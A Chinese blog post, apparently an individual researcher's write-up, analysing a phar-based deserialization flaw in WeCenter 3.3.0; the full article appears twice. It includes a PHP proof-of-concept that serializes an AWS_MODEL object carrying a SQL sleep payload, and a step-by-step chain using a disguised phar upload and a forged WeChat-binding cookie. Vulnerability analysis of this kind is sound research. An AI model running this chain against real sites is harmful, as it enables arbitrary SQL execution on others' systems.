WeCenter 3.3.0 反序列化漏洞分析
Ebounce
撰写于 2021年 05月 16 日

WeCenter 3.3.0 反序列化漏洞分析

前言

已经很久没有写过博客了,为了能够去实习选的课很多把自己时间全部挤占完了,正好在学校当地有网络攻防演习,进行资产收集的时候意外发现了这个问题,这个洞和后面爆出WeCenter3.3.4的利用链几乎相同,只是这个早期版本的这个点没人记录,因此写篇博客记录一下,也算复健。
<!--more-->

基础思路

最基础的思路来源于这篇文章:

某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE - 先知社区 (aliyun.com)

接下来我们就来捋捋这个反序列化的链条,首先看本次反序列化使用类:

该类在我本地位置如下:

WeCenter330/system/aws_model.inc.php

class AWS_MODEL
{
    public $prefix;
    public $setting;

    private $_current_db = 'master';
    private $_shutdown_query = array();
    private $_found_rows = 0;
    //省略其他无关方法
    public function __destruct()
    {
        $this->master();

        foreach ($this->_shutdown_query AS $key => $query)
        {
            $this->query($query);
        }
    }
}

这里非常明显是一处sql注入点了,__destruct方法通过将本类的实例化对象中的_shutdown_query属性进行遍历,取出其键值对,将其值进行查询,这个query方法看起来非常像数据库查询的样子,我们看看源码来确认一下:

WeCenter330/system/aws_model.inc.php同样的位置:

public function query($sql, $limit = null, $offset = null, $where = null)
    {
        $this->slave();

        if (!$sql)
        {
            throw new Exception('Query was empty.');
        }

        if ($where)
        {
            $sql .= ' WHERE ' . $where;
        }

        if ($limit)
        {
            $sql .= ' LIMIT ' . $limit;
        }

        if ($offset)
        {
            $sql .= ' OFFSET ' . $offset;
        }

        if (AWS_APP::config()->get('system')->debug)
        {
            $start_time = microtime(TRUE);
        }

        try {
            $result = $this->db()->query($sql);
            //这里是直接使用数据库查询操作了
        } catch (Exception $e) {
            show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
        }

        if (AWS_APP::config()->get('system')->debug)
        {
            AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
        }

        return $result;
    }

前面通过一系列的if操作,构造出SELECT<其他关键词也行> WHERE XX LIMIT XX OFFSET XXsql语句,中途没有进行任何过滤,因此我们确定这个地方存在sql注入的问题。

我们验证一下这个问题:

WeCenter330/index.php在程序最开始的地方添加测试代码

<?php
/*
+--------------------------------------------------------------------------
|   WeCenter [#RELEASE_VERSION#]
|   ========================================
|   by WeCenter Software
|   © 2011 - 2014 WeCenter. All Rights Reserved
|   http://www.wecenter.com
|   ========================================
|   Support: WeCenter@qq.com
|
+---------------------------------------------------------------------------
*/

if (! file_exists(dirname(__FILE__) . '/system/config/database.php') AND ! file_exists(dirname(__FILE__) . '/system/config/install.lock.php') AND !defined('SAE_TMP_PATH'))
{
    header('Location: ./install/');
    exit;
}
include('system/system.php');
unserialize(base64_decode($_GET["hello"]));//就是这一条
AWS_APP::run();

对应测试exp

<?php

class AWS_MODEL
{
    private $_shutdown_query = array();

    public function __construct()
    {
        $this->_shutdown_query['payload'] = 'SELECT 1 AND sleep(10000)';
    }
}
$a = new AWS_MODEL;
echo base64_encode(serialize($a));
//Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e3M6NToiaGVsbG8iO3M6MjU6IlNFTEVDVCAxIEFORCBzbGVlcCgxMDAwMCkiO319

测试结果为:

此时会一直卡住因为我们的sleep()函数输入的相当高,最后会直接导致报错,因此验证该漏洞存在:

接下来的问题自然就是考虑如何触发反序列化了,首先如果考虑直接的触发点unserialize()一般情况下是不会出现unserialize函数参数可控的情况,所以考虑phar这种扩展php反序列化攻击的手法,具体情况可以参考下面这篇

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

根据手册phar的攻击面相当广泛:

首先与文件相关的读写操作可以用它,与目录相关的操作可以用他,甚至在allow_url_fopenallow_url_include同时关闭的情况下也可以使用,受影响的函数列表上面的参考链接也给出了。

下面直接说结论,通过寻找文件相关函数可找到下面这个触发点:

WeCenter330/models/account.php

public function associate_remote_avatar($uid, $headimgurl)
    {
        if (!$headimgurl)
        {
            return false;
        }

        if (!$user_info = $this->get_user_info_by_uid($uid))
        {
            return false;
        }

        if ($user_info['avatar_file'])
        {
            return false;
        }

        if (!$avatar_stream = file_get_contents($headimgurl))
        {
            return false;
        }

        $avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');

        $avatar_dir = dirname($avatar_location) . '/';

        if (!file_exists($avatar_dir))
        {
            make_dir($avatar_dir);
        }

        if (!@file_put_contents($avatar_location, $avatar_stream))
        {
            return false;
        }

        foreach(AWS_APP::config()->get('image')->avatar_thumbnail AS $key => $val)
        {
            AWS_APP::image()->initialize(array(
                'quality' => 90,
                'source_image' => $avatar_location,
                'new_image' => $avatar_dir . $this->get_avatar($uid, $key, 2),
                'width' => $val['w'],
                'height' => $val['h']
            ))->resize();
        }

        $this->update('users', array(
            'avatar_file' => $this->get_avatar($uid)
        ), 'uid = ' . intval($uid));

        if (!$this->model('integral')->fetch_log($new_user_id, 'UPLOAD_AVATAR'))
        {
            $this->model('integral')->process($new_user_id, 'UPLOAD_AVATAR', round((get_setting('integral_system_config_profile') * 0.2)), '上传头像');
        }

        return true;
    }

重点在于这行代码$avatar_stream = file_get_contents($headimgurl),此处加入我们可以控制$headimgurl的值,那么意味着我们可以通过file_get_contents触发phar反序列化,接下来是需要找到上传点和associate_remote_avatar是在何处调用即可。

上传点

本系统有相当多的上传点,头像也好,发表评论也罢都是上传点,且注册时默认情况下是不会对注册邮箱进行验证码校验,而且普通用户就具有上传功能,因此这个不在难考虑的范围。

何处调用associate_remote_avatar

全局搜索->associate_remote_avatar

WeCenter330/models/openid/weixin/weixin.php

该函数体如下:

    public function bind_account($access_user, $access_token, $uid, $is_ajax = false)
    {
        if (! $access_user['nickname'])
        {
            if ($is_ajax)
            {
                H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
            }
            else
            {
                H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
            }
        }

        if ($openid_info = $this->get_user_info_by_uid($uid))
        {
            if ($openid_info['opendid'] != $access_user['openid'])
            {
                if ($is_ajax)
                {
                    H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
                }
                else
                {
                    H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
                }
            }

            return true;
        }

        $this->insert('users_weixin', array(
            'uid' => intval($uid),
            'openid' => $access_token['openid'],
            'expires_in' => (time() + $access_token['expires_in']),
            'access_token' => $access_token['access_token'],
            'refresh_token' => $access_token['refresh_token'],
            'scope' => $access_token['scope'],
            'headimgurl' => $access_user['headimgurl'],
            'nickname' => $access_user['nickname'],
            'sex' => $access_user['sex'],
            'province' => $access_user['province'],
            'city' => $access_user['city'],
            'country' => $access_user['country'],
            'add_time' => time()
        ));
        
        $this->associate_avatar($uid, $access_user['headimgurl']);

        $this->model('account')->associate_remote_avatar($uid, $access_user['headimgurl']);

        return true;
    }

从该函数功能来看,我们知晓该函数是用于绑定微信的,因此需要找到该系统的绑定微信功能,当我们进行绑定微信操作的时候,这个函数会进行insert操作,在进行完insert操作之后,会直接调用associate_remote_avatar函数,只需要使用绑定微信功能,即可触发漏洞了。

下一步我们需要知道$access_user这个变量是否可控,因为我们需要这个变量来控制headimgurl的值,我们搜索全局看看哪里使用了bind_account,因此找到了下面这处:

WeCenter330/app/m/weixin.php:

public function binding_action()
{
   if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'])
   {
      $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
   }

   if ($WXConnect['access_token']['openid'])
   {
      $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);

      HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);

      if ($_GET['redirect'])
      {
         HTTP::redirect(base64_decode($_GET['redirect']));
      }
      else
      {
         H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
      }
   }
   else
   {
      H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
   }
}

我们可以发现,实际上传入bind_account的值来自于$_COOKIE且对应的值为当初指定的前缀+_WXConnect,因此我们触发只需要使用这个$_COOKIE值即可。

梳理攻击流程

因此我们可以梳理出整体的攻击流程:

  1. 登录该系统利用上传点,传入一个实际上为phar文件,但后缀为图片的文件,我们需要记住这个文件的位置在哪。
  2. 使用绑定微信功能,通过修改$_COOKIE值的对应部分headimgurl值为phar://触发phar反序列化。
  3. 与原版不同的是,我们不需要访问synch_img_action,因此我们直接在bind_account函数中就可以触发反序列化了。

WeCenter 3.3.0 反序列化漏洞分析

WeCenter 3.3.0 反序列化漏洞分析

前言

已经很久没有写过博客了,为了能够去实习选的课很多把自己时间全部挤占完了,正好在学校当地有网络攻防演习,进行资产收集的时候意外发现了这个问题,这个洞和后面爆出WeCenter3.3.4的利用链几乎相同,只是这个早期版本的这个点没人记录,因此写篇博客记录一下,也算复健。
<!--more-->

基础思路

最基础的思路来源于这篇文章:

某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE - 先知社区 (aliyun.com)

接下来我们就来捋捋这个反序列化的链条,首先看本次反序列化使用类:

该类在我本地位置如下:

WeCenter330/system/aws_model.inc.php

class AWS_MODEL
{
    public $prefix;
    public $setting;

    private $_current_db = 'master';
    private $_shutdown_query = array();
    private $_found_rows = 0;
    //省略其他无关方法
    public function __destruct()
    {
        $this->master();

        foreach ($this->_shutdown_query AS $key => $query)
        {
            $this->query($query);
        }
    }
}

这里非常明显是一处sql注入点了,__destruct方法通过将本类的实例化对象中的_shutdown_query属性进行遍历,取出其键值对,将其值进行查询,这个query方法看起来非常像数据库查询的样子,我们看看源码来确认一下:

WeCenter330/system/aws_model.inc.php同样的位置:

public function query($sql, $limit = null, $offset = null, $where = null)
    {
        $this->slave();

        if (!$sql)
        {
            throw new Exception('Query was empty.');
        }

        if ($where)
        {
            $sql .= ' WHERE ' . $where;
        }

        if ($limit)
        {
            $sql .= ' LIMIT ' . $limit;
        }

        if ($offset)
        {
            $sql .= ' OFFSET ' . $offset;
        }

        if (AWS_APP::config()->get('system')->debug)
        {
            $start_time = microtime(TRUE);
        }

        try {
            $result = $this->db()->query($sql);
            //这里是直接使用数据库查询操作了
        } catch (Exception $e) {
            show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
        }

        if (AWS_APP::config()->get('system')->debug)
        {
            AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
        }

        return $result;
    }

前面通过一系列的if操作,构造出SELECT<其他关键词也行> WHERE XX LIMIT XX OFFSET XXsql语句,中途没有进行任何过滤,因此我们确定这个地方存在sql注入的问题。

我们验证一下这个问题:

WeCenter330/index.php在程序最开始的地方添加测试代码

<?php
/*
+--------------------------------------------------------------------------
|   WeCenter [#RELEASE_VERSION#]
|   ========================================
|   by WeCenter Software
|   © 2011 - 2014 WeCenter. All Rights Reserved
|   http://www.wecenter.com
|   ========================================
|   Support: WeCenter@qq.com
|
+---------------------------------------------------------------------------
*/

if (! file_exists(dirname(__FILE__) . '/system/config/database.php') AND ! file_exists(dirname(__FILE__) . '/system/config/install.lock.php') AND !defined('SAE_TMP_PATH'))
{
    header('Location: ./install/');
    exit;
}
include('system/system.php');
unserialize(base64_decode($_GET["hello"]));//就是这一条
AWS_APP::run();

对应测试exp

<?php

class AWS_MODEL
{
    private $_shutdown_query = array();

    public function __construct()
    {
        $this->_shutdown_query['payload'] = 'SELECT 1 AND sleep(10000)';
    }
}
$a = new AWS_MODEL;
echo base64_encode(serialize($a));
//Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e3M6NToiaGVsbG8iO3M6MjU6IlNFTEVDVCAxIEFORCBzbGVlcCgxMDAwMCkiO319

测试结果为:

此时会一直卡住因为我们的sleep()函数输入的相当高,最后会直接导致报错,因此验证该漏洞存在:

接下来的问题自然就是考虑如何触发反序列化了,首先如果考虑直接的触发点unserialize()一般情况下是不会出现unserialize函数参数可控的情况,所以考虑phar这种扩展php反序列化攻击的手法,具体情况可以参考下面这篇

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

根据手册phar的攻击面相当广泛:

首先与文件相关的读写操作可以用它,与目录相关的操作可以用他,甚至在allow_url_fopenallow_url_include同时关闭的情况下也可以使用,受影响的函数列表上面的参考链接也给出了。

下面直接说结论,通过寻找文件相关函数可找到下面这个触发点:

WeCenter330/models/account.php

public function associate_remote_avatar($uid, $headimgurl)
    {
        if (!$headimgurl)
        {
            return false;
        }

        if (!$user_info = $this->get_user_info_by_uid($uid))
        {
            return false;
        }

        if ($user_info['avatar_file'])
        {
            return false;
        }

        if (!$avatar_stream = file_get_contents($headimgurl))
        {
            return false;
        }

        $avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');

        $avatar_dir = dirname($avatar_location) . '/';

        if (!file_exists($avatar_dir))
        {
            make_dir($avatar_dir);
        }

        if (!@file_put_contents($avatar_location, $avatar_stream))
        {
            return false;
        }

        foreach(AWS_APP::config()->get('image')->avatar_thumbnail AS $key => $val)
        {
            AWS_APP::image()->initialize(array(
                'quality' => 90,
                'source_image' => $avatar_location,
                'new_image' => $avatar_dir . $this->get_avatar($uid, $key, 2),
                'width' => $val['w'],
                'height' => $val['h']
            ))->resize();
        }

        $this->update('users', array(
            'avatar_file' => $this->get_avatar($uid)
        ), 'uid = ' . intval($uid));

        if (!$this->model('integral')->fetch_log($new_user_id, 'UPLOAD_AVATAR'))
        {
            $this->model('integral')->process($new_user_id, 'UPLOAD_AVATAR', round((get_setting('integral_system_config_profile') * 0.2)), '上传头像');
        }

        return true;
    }

重点在于这行代码$avatar_stream = file_get_contents($headimgurl),此处加入我们可以控制$headimgurl的值,那么意味着我们可以通过file_get_contents触发phar反序列化,接下来是需要找到上传点和associate_remote_avatar是在何处调用即可。

上传点

本系统有相当多的上传点,头像也好,发表评论也罢都是上传点,且注册时默认情况下是不会对注册邮箱进行验证码校验,而且普通用户就具有上传功能,因此这个不在难考虑的范围。

何处调用associate_remote_avatar

全局搜索->associate_remote_avatar

WeCenter330/models/openid/weixin/weixin.php

该函数体如下:

    public function bind_account($access_user, $access_token, $uid, $is_ajax = false)
    {
        if (! $access_user['nickname'])
        {
            if ($is_ajax)
            {
                H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
            }
            else
            {
                H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
            }
        }

        if ($openid_info = $this->get_user_info_by_uid($uid))
        {
            if ($openid_info['opendid'] != $access_user['openid'])
            {
                if ($is_ajax)
                {
                    H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
                }
                else
                {
                    H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
                }
            }

            return true;
        }

        $this->insert('users_weixin', array(
            'uid' => intval($uid),
            'openid' => $access_token['openid'],
            'expires_in' => (time() + $access_token['expires_in']),
            'access_token' => $access_token['access_token'],
            'refresh_token' => $access_token['refresh_token'],
            'scope' => $access_token['scope'],
            'headimgurl' => $access_user['headimgurl'],
            'nickname' => $access_user['nickname'],
            'sex' => $access_user['sex'],
            'province' => $access_user['province'],
            'city' => $access_user['city'],
            'country' => $access_user['country'],
            'add_time' => time()
        ));
        
        $this->associate_avatar($uid, $access_user['headimgurl']);

        $this->model('account')->associate_remote_avatar($uid, $access_user['headimgurl']);

        return true;
    }

从该函数功能来看,我们知晓该函数是用于绑定微信的,因此需要找到该系统的绑定微信功能,当我们进行绑定微信操作的时候,这个函数会进行insert操作,在进行完insert操作之后,会直接调用associate_remote_avatar函数,只需要使用绑定微信功能,即可触发漏洞了。

下一步我们需要知道$access_user这个变量是否可控,因为我们需要这个变量来控制headimgurl的值,我们搜索全局看看哪里使用了bind_account,因此找到了下面这处:

WeCenter330/app/m/weixin.php:

public function binding_action()
{
   if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'])
   {
      $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
   }

   if ($WXConnect['access_token']['openid'])
   {
      $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);

      HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);

      if ($_GET['redirect'])
      {
         HTTP::redirect(base64_decode($_GET['redirect']));
      }
      else
      {
         H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
      }
   }
   else
   {
      H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
   }
}

我们可以发现,实际上传入bind_account的值来自于$_COOKIE且对应的值为当初指定的前缀+_WXConnect,因此我们触发只需要使用这个$_COOKIE值即可。

梳理攻击流程

因此我们可以梳理出整体的攻击流程:

  1. 登录该系统利用上传点,传入一个实际上为phar文件,但后缀为图片的文件,我们需要记住这个文件的位置在哪。
  2. 使用绑定微信功能,通过修改$_COOKIE值的对应部分headimgurl值为phar://触发phar反序列化。
  3. 与原版不同的是,我们不需要访问synch_img_action,因此我们直接在bind_account函数中就可以触发反序列化了。

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论